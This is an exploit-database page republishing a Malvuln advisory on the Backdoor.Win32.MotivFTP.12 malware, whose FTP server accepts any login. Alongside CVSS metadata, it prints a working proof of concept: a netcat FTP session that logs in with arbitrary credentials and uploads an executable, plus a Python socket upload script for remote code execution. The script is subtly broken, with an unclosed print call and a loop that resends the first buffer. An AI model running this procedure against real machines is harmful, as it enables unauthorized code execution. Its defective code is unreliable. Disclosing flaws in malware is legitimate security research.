Exploitalert - Database of Exploits

Backdoor.Win32.MotivFTP.12 / Authentication Bypass RCE

CVE	Category	Price	Severity
	CWE-287	Not specified	High

Author	Risk	Exploitation Type	Date
Not specified	High	Remote	2021-05-08

CPE
cpe:cpe:/a:motivftp:win32-motivftp-12

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2021050043

Backdoor.Win32.MotivFTP.12 / Authentication Bypass RCE

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/88785a093b8fa00893214dd220ac255d.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Backdoor.Win32.MotivFTP.12 Vulnerability: Authentication Bypass RCE Description: The malware listens on TCP port 21. Third-party attackers who can reach the system can logon using any username/password combination. Attackers may then upload executables using ftp PASV, STOR commands, this can result in remote code execution. Type: PE32 MD5: 88785a093b8fa00893214dd220ac255d Vuln ID: MVID-2021-0203 Disclosure: 05/07/2021 Exploit/PoC: 1) logon as any user nc64.exe 192.168.88.127 21 220 FTP Server ready USER mal 331 Password required for mal. PASS vuln 230 User mal logged in. SYST 215 UNIX Type: L8 Internet Component Suite PASV 227 Entering Passive Mode (192,168,88,127,195,34). STOR DOOM.exe 150 Opening data connection for DOOM.exe. 226 File received ok 2) calculate port and run upload script from socket import * MALWARE_HOST="192.168.88.127" PORT=49954 DOOM="DOOM.exe" #Calculate the port 195*256+34 = 49954 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("Backdoor.Win32.MotivFTP.12 / Authentication Bypass RCE") print("MD5: 88785a093b8fa00893214dd220ac255d" print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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